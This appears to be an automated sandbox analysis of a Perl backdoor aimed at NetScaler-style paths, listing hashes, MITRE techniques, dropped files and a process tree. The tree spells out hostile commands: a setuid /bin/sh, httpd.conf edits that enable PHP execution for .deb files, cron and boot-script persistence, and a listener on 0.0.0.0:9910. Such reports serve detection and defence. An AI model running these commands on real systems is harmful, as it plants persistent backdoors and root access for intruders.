12b15fe585a21d33eeb863fc5a246596225a77185a314d55de3c980bbe11e9c0

Analysis

max time kernel
2s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
03/10/2026, 17:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
12b15fe585a21d33eeb863fc5a246596225a77185a314d55de3c980bbe11e9c0.pl
Size 25KB
Sample261003-v3tvlsed95
SHA256 12b15fe585a21d33eeb863fc5a246596225a77185a314d55de3c980bbe11e9c0
MD5 e33b306b06c08f9d3d7223215f25b2cf
SHA1 4987a97f006ffec367b32136e82eecc321e908e3
SHA512 1db6e3d2a50e5a520ac27c77841309ac97b5c1ff74d58483242aa64c15aad7c8fbefd71fb3468ec145910b66c1548b74608fb231d46d13ce1a152c11497fef21
SSDEEP 768:DFxadn2345FPWdWmS1nwuxli8o7TUILRinUKtXgZC17:zQ2I5FPWdPSNwuxli8o80RinhXgZ07
TLSH
T165C2EAC17C6E5DB183D7C47CEB9AD44177675407140A2464B8BCA3BCAF68434E2F2AE8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

discovery execution persistence privilege_escalation

Malware Config

Signatures

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.0VBlKw	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 3 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/41/status	ps
File opened for reading	/proc/135/cmdline	ps
File opened for reading	/proc/13/status	pkill
File opened for reading	/proc/24/cmdline	pkill
File opened for reading	/proc/168/status	pkill
File opened for reading	/proc/317/status	pkill
File opened for reading	/proc/632/cmdline	pkill
File opened for reading	/proc/643/cmdline	pkill
File opened for reading	/proc/10/status	ps
File opened for reading	/proc/20/status	ps
File opened for reading	/proc/643/stat	ps
File opened for reading	/proc/12/status	pkill
File opened for reading	/proc/14/cmdline	pkill
File opened for reading	/proc/42/cmdline	pkill
File opened for reading	/proc/28/cmdline	pkill
File opened for reading	/proc/642/status	pkill
File opened for reading	/proc/317/stat	ps
File opened for reading	/proc/279/status	pkill
File opened for reading	/proc/8/cmdline	pkill
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/17/stat	ps
File opened for reading	/proc/297/cmdline	ps
File opened for reading	/proc/299/stat	ps
File opened for reading	/proc/29/cmdline	pkill
File opened for reading	/proc/21/status	pkill
File opened for reading	/proc/25/cmdline	pkill
File opened for reading	/proc/10/cmdline	pkill
File opened for reading	/proc/self/stat	ps
File opened for reading	/proc/648/cmdline	ps
File opened for reading	/proc/684/status	ps
File opened for reading	/proc/16/cmdline	pkill
File opened for reading	/proc/5/cmdline	pkill
File opened for reading	/proc/277/cmdline	pkill
File opened for reading	/proc/635/cmdline	pkill
File opened for reading	/proc/29/stat	ps
File opened for reading	/proc/648/status	ps
File opened for reading	/proc/13/status	pkill
File opened for reading	/proc/15/status	ps
File opened for reading	/proc/698/status	ps
File opened for reading	/proc/293/status	pkill
File opened for reading	/proc/642/cmdline	pkill
File opened for reading	/proc/41/status	pkill
File opened for reading	/proc/590/status	pkill
File opened for reading	/proc/2/cmdline	pkill
File opened for reading	/proc/25/status	pkill
File opened for reading	/proc/301/status	pkill
File opened for reading	/proc/3/cmdline	ps
File opened for reading	/proc/698/cmdline	ps
File opened for reading	/proc/708/status	pkill
File opened for reading	/proc/25/status	pkill
File opened for reading	/proc/1/status	ps
File opened for reading	/proc/319/status	ps
File opened for reading	/proc/105/status	pkill
File opened for reading	/proc/297/cmdline	pkill
File opened for reading	/proc/337/status	pkill
File opened for reading	/proc/15/cmdline	pkill
File opened for reading	/proc/29/cmdline	pkill
File opened for reading	/proc/565/status	pkill
File opened for reading	/proc/317/status	ps
File opened for reading	/proc/337/stat	ps
File opened for reading	/proc/41/cmdline	pkill
File opened for reading	/proc/4/status	ps
File opened for reading	/proc/28/stat	ps
File opened for reading	/proc/4/cmdline	pkill

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
709	pkill

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.slap.cron	12b15fe585a21d33eeb863fc5a246596225a77185a314d55de3c980bbe11e9c0.pl

/tmp/12b15fe585a21d33eeb863fc5a246596225a77185a314d55de3c980bbe11e9c0.pl
/tmp/12b15fe585a21d33eeb863fc5a246596225a77185a314d55de3c980bbe11e9c0.pl
1⤵
- Writes file to tmp directory
PID:643
- /bin/mkdir
  mkdir -p /nsconfig/.slap /var/netscaler/logon/LogonPoint/custom
  2⤵
  PID:645
- /bin/cat
  cat
  2⤵
  PID:649
- /bin/cat
  cat
  2⤵
  PID:651
- /bin/mkdir
  mkdir -p /var/tmp/.ux
  2⤵
  PID:654
- /bin/cat
  cat
  2⤵
  PID:659
- /bin/cat
  cat
  2⤵
  PID:662
- /bin/cat
  cat
  2⤵
  PID:665
- /bin/chmod
  chmod 700 /nsconfig/.slap /nsconfig/.slap/agent.pl /nsconfig/.slap/bridge.pl
  2⤵
  PID:667
- /bin/cat
  cat
  2⤵
  PID:671
- /bin/chmod
  chmod 644 /var/netscaler/logon/LogonPoint/custom/.slap.receiver
  2⤵
  PID:675
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver
  2⤵
  - Reads runtime system information
  PID:676
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb
  2⤵
  PID:678
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/.slap.receiver
  2⤵
  PID:680
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/.ctxs.receiver
  2⤵
  PID:682
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/receiver.deb
  2⤵
  PID:685
- /bin/chmod
  chmod 644 /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb /nsconfig/.slap/.slap.receiver /nsconfig/.slap/.ctxs.receiver /nsconfig/.slap/receiver.deb
  2⤵
  PID:686
- /bin/chmod
  chmod 6555 /bin/sh
  2⤵
  PID:688
- /bin/chmod
  chmod 700 /nsconfig/.slap/boot.sh
  2⤵
  PID:689
- /usr/bin/perl
  perl -ni -e "print unless m{AliasMatch\\s+\\*/logon/LogonPoint/custom/receiver}" /etc/httpd.conf
  2⤵
  PID:690
- /bin/grep
  grep -q "Alias /logon/LogonPoint/custom/receiver.v2.min.css" /etc/httpd.conf
  2⤵
  PID:692
- /bin/cp
  cp /etc/httpd.conf /etc/httpd.conf.slap.bak
  2⤵
  PID:693
- /bin/cat
  cat
  2⤵
  PID:694
- /usr/bin/perl
  perl -pi -e "s/php_flag engine off/php_flag engine on/" /etc/httpd.conf
  2⤵
  PID:695
- /bin/grep
  grep -q "AddType application/x-httpd-php .deb" /etc/httpd.conf
  2⤵
  PID:696
- /bin/httpd
  /bin/httpd -t -f /etc/httpd.conf
  2⤵
  PID:697
- /bin/grep
  grep -q "[.]slap/agent.pl"
  2⤵
  PID:699
- /bin/ps
  ps -axww
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:698
- /bin/grep
  grep -q /nsconfig/.slap/agent.pl /nsconfig/rc.netscaler
  2⤵
  PID:701
- /usr/bin/setsid
  /usr/bin/setsid /bin/perl /nsconfig/.slap/agent.pl
  2⤵
  PID:700
- /bin/perl
  /bin/perl /nsconfig/.slap/agent.pl
  2⤵
  PID:700
- /bin/grep
  grep -q /nsconfig/.slap/boot.sh /nsconfig/rc.netscaler
  2⤵
  PID:702
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:703
- /bin/grep
  grep -q /nsconfig/.slap/agent.pl /tmp/.slap.cron
  2⤵
  PID:704
- /bin/grep
  grep -q /nsconfig/.slap/boot.sh /tmp/.slap.cron
  2⤵
  PID:705
- /usr/bin/crontab
  crontab /tmp/.slap.cron
  2⤵
  - Creates/modifies Cron job
  PID:706
- /usr/bin/pkill
  pkill -f /var/tmp/.ux/slapshot.py
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:708
- /usr/bin/pkill
  pkill -f /var/tmp/.ux/whipd.py
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:709
- /bin/date
  date -u
  2⤵
  PID:712
- /usr/bin/nohup
  nohup /usr/bin/python3 /var/tmp/.ux/slapshot.py --listen 127.0.0.1:9909 --pidfile /var/tmp/.ux/agent.pid
  2⤵
  PID:710
- /usr/bin/nohup
  nohup /usr/bin/python3 /var/tmp/.ux/whipd.py --bind 0.0.0.0 --port 9910 --agent 127.0.0.1:9909 --token slap --pidfile /var/tmp/.ux/whip.pid
  2⤵
  PID:711

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

agent.pl

Path /nsconfig/.slap/agent.pl
Size 4KB
SHA256 94c5ccd3a35357b24fe9474abab665a2e6205a60d8c6a82e4016d3b94d3fb761
MD5 de6f7c87e8f5be485243441ae7ab5bd0
SHA1 7249acf88b30ad5b7bbf3c10299e16780f3d0dac
SHA512 88b9e76e1aac24b7f7806d3b8dbcd8ccda912b0f390b8fee2c18cbe5dd4d6494d579a8e0e0981fdcc1b3c2e31d8374f861d37c077d13ef1a018139e357c7f668
SSDEEP 96:IFWaH88gEe/qnao0AHt2tRqS2kJRCR7jXCtJrC9SAqCGCSeCvCSEx3a32Q:IFW+hD2tRgwt4UADH4K1Ba32Q
TLSH
T10E81CE843DFBAA7684F2D02CEFDAC41171B9849B8509E9A07D7C42BCAF45930D6F52C9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

boot.sh

Path /nsconfig/.slap/boot.sh
Size 3KB
SHA256 af7a3af465c95e997e1476b0c2db852b26169d4a5647a445ff46a54a86a75cf8
MD5 14d4a6c791452d159199b9f53b74d98b
SHA1 4c50e3dd1031687052bb49ee8cf44b9b77ea1600
SHA512 5185f30591cf4ec5edd11471f5c7bd5d1b537e123736ee7f3afda53cdcfc7b4034237ba100f9f39cc045034cebb2205184c589a7c0c9589eed4fe1bf0488e1a8
TLSH
T1D47185F3B40E9EF62DD989BCB39D85497BC282691C252965F049B634A4BC248F0B6178
MD5 SHA1 SHA512 TLSH

Submit Download

bridge.pl

Path /nsconfig/.slap/bridge.pl
Size 697B
SHA256 f09c1bf2c6148e9e8f3a4be7b26b365fc5fdf95d768abf78a7ed770b9c5debad
MD5 bc21f7306742c9e9d2f10a3542463be2
SHA1 237ca70151ef13c42c5bbdc7c553bc561a90db08
SHA512 af47a95a1d6455c62e978ae3b8dc50cb3216968a56039bd2904c2d1cf5e70d055a21af09f187eb5663cd8c02b78b26da08ce3070c098f92390966247aa087d57
TLSH
T1E601FE204CD34B51C0FEA04AF608914792CA843B4EAAB8BE7E50478E9F04374B0F76C0
MD5 SHA1 SHA512 TLSH

Submit Download

rc.netscaler

Path /nsconfig/rc.netscaler
Size 37B
SHA256 370368e6491d9344962b6a58a771fb24e500f84e9d99379f61969e3068ed5b4b
MD5 d5800c883436ef1f94115dcab532015a
SHA1 a46bf0376f7876ce348c8a0d053762291f08ea33
SHA512 a4bb5355a14d262c50307f77c1806751ae606aff6022af4c515311a6d3f289d72f7110a9bc7c71b1af74f90ccf569dbc168646292761e2c0ad9e11c6c36034af
MD5 SHA1 SHA512

Submit Download

rc.netscaler

Path /nsconfig/rc.netscaler
Size 71B
SHA256 4c1a2751a1b474cc4873fd78d237d003a25dc45205b94577265443d65d2432d2
MD5 79b9b312be1c2b9d60a03e736eae4c5f
SHA1 09fce7d4b32dcba305a2d07f80a4292e0d4347e5
SHA512 a244df78c6246342d607320f603d85946d0b5e6d8cd723446c2c8638ae42c1ba8132b3d93a24f5923ff9f6cc5b5961885d54e77a1838990b42507efa94d3e9cc
TLSH
T17DA0024A260CEDF3CFCB9AB4D65724AA3F5142843E410521B404F2C4E8201CE7E39004
MD5 SHA1 SHA512 TLSH

Submit Download

.slap.cron

Path /tmp/.slap.cron
Size 45B
SHA256 0759755783a468f3bc18dcbfde22fdb21bb754aee300137f26ee1aa1893dd3cd
MD5 80bdf2e82a187390554f344fe42b85e5
SHA1 8fce99a4a31526033f92cb5428491d9fdf911946
SHA512 b61ac653dd02118ad48ac80add43744cac3b338aeb7ce3dee36e63ca64380330a909d3dcfaf5a2c628b3ad91efed2e9e7b0988f8b694fee000c753402f5ed580
MD5 SHA1 SHA512

Submit Download

.slap.cron

Path /tmp/.slap.cron
Size 89B
SHA256 1a7762fb2dc20ab46e650818ba79e47c9758b02f2b0fcb12a7ed15cebc7e392f
MD5 51981d72e97719cd5b287c7dbb830cfd
SHA1 e093784d86c1d60bbd0b19545644f4156cafca3b
SHA512 bc62e23c068936d26a421d72673a67417dd4edc1a2bc53ff403169ea37b05301cfb761da422b9e9fbb2e6e96ed0117e3c1b61689d3b5d03b4ca3b8f6a03d067d
TLSH
T154B0013A950CADF78A8E5AB8E3A638BE7E1643843E410561745CF2C4E82C38F7A39000
MD5 SHA1 SHA512 TLSH

Submit Download

.slap.receiver

Path /var/netscaler/logon/LogonPoint/custom/.slap.receiver
Size 493B
SHA256 9f792058552da5cbbb08693694d31a31d360be8402a3c9d41584d34e3b569be7
MD5 7279e5629e02ea3fc9392365f1c005c6
SHA1 838103a40d8530ae9a7eaaf3467aa653443b1bd7
SHA512 3040631b49a846d2c65aa11b23b366b3bfc59adbdd612462549dd421a2fdf5309114af5a078bc6b416f82ee2eabea14120da3108d73c65dd8d6c076fad3a6941
TLSH
T1F9F09E0C31E625B1CDBFBC70D75E2C08A1690001151A9A5138C25DCD1DF812D96B68E6
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.0VBlKw

Path /var/spool/cron/crontabs/tmp.0VBlKw
Size 278B
SHA256 4e47baa91c68edfee376ae0082018379628c602bea32c089e1eb8cee2e993124
MD5 18591661eb8fc7fd288516b680f4d0bb
SHA1 85fbdbbb86702219efbfd7e6aab2dade9f189ca8
SHA512 ace5689a4288bb0562dd9df66d61f776cdea458c724aee6015f50752d84e11a6c5e6699fb7b3c63933107e26ee904de452e6676c6f8aed47f0f3eecec753851f
TLSH
T156D02B396B08FDF78E4907B4929B383D6D41D17C58098E11F08DB054961934F3F70451
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-agent.log

Path /var/tmp/.slap-agent.log
Size 63B
SHA256 6686e0f601f892bb8f8e47727170eb99045f66623834e5be2cb1984dfe7a88e1
MD5 2139e7e90aa4d9d126e20970e8149fbd
SHA1 ceb75170a5d023fcdabfb170ee52b2c5e83fea2b
SHA512 b0d1e4592a87f22f161b269b00f32eebba8d4ef1400d78d26c1ae9f5293321cb76e9bce56aa641ff69152096fb9234807a700b19882d1806d616003936c1c6ac
TLSH
T18DA0021259D961541A9629915319ECF68717004F2F0E1225E1704304A427A74B6DFAC2
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 54B
SHA256 a47ab7c9bdb86429a2f2f07ee4d1d13bf6921f10d01d288c965db3ce58d932a3
MD5 85fa20a93a5d7e1eaf57bd200ee4f22f
SHA1 ca325b4a7ef544ef2e2df85e248e38403fd995b2
SHA512 d0c7a68a97f120f5912d557978321d9c72845b1e6d7b29a276ebe1eb1cc985543c422bc70dad96877558fdc958b90826cf72833fb4d374560d97b8c7ed941bc0
TLSH
T1109002B052489A35542754C779C58C064325E4BD055CD570A42193A1468201707A9501
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-httpd-test.log

Path /var/tmp/.slap-httpd-test.log
Size 175B
SHA256 eb32def9ff849faab267a8917ad73df9e7f326b9fb2925095b6759310baf37fb
MD5 4d6b4817268ebb64998ea41c9257ffbc
SHA1 2296d26b255cd3782ecc039d055f1b4be11ee879
SHA512 fa6d829d62a4960f7850d3e299ec61c7813499c461e2bd9a8010151c7355ad7cc5e47fb0ecce2378d5595158f2ea630dc716c234c2fadc25e17805510caa7d15
TLSH
T179C080B73443146996030330F5D14862959F3731554C7E023DE8D5162141FDC44C2649
MD5 SHA1 SHA512 TLSH

Submit Download

slapshot.py

Path /var/tmp/.ux/slapshot.py
Size 7KB
SHA256 be559fb34104b8ce491082276084e76736f5a5ec6b8d05fe31adc60ec063e447
MD5 24f4f949a8df9cb4be3cf8d0cb89eb5d
SHA1 68b56277c3f88b78209fe8dfb4bbeff0b071292d
SHA512 a6ba111301443af786012e1258a77d44239de3bdd997cb8755b5f4cc97ec7236125b2999baa5e4e8f49cd2be4448bff818552db7841b9bd28483976bfd96f61d
SSDEEP 96:M56N8NbBZ2Ok7bsOwFF5r5QYm97WmVUgwyXGoFPWnXAuxuBTFiUbcjHa:wF2345FP3mdWmSgwy9WnXAuxKc3Ha
TLSH
T131F13F86AC645965C397C8965C62E4427727BC07725E1138FAFCC3E42FA887582F1EF8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

whipd.py

Path /var/tmp/.ux/whipd.py
Size 4KB
SHA256 dc07e82e31f874c386e74bb5882c269a3d33a774a7b9772b11830bf6d33bfc7e
MD5 9753dbf79692d424d30abaf39e776a1e
SHA1 8ee23e2fc68366e9a07d8fd682bdb3539573a44f
SHA512 3a886d2a3671b85979d2afaf214efc94f5c1c4786f8d6dd7b314deb945ae39d871992d45034e8492177f016e5e630a3a37f1efdc5d74d20997261e581b523719
SSDEEP 96:kXai6ZdGd3Tgwy8rnQP71TKml0eK3uVUKigRRGLZq5XFEqhi:q6ZItgwyqQP7AgXK3umKigRRGLZqLEqI
TLSH
T125A18602586959F49343C52698E3F956E73E3917200F24A9397DD3C91F64876C2B2EFC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads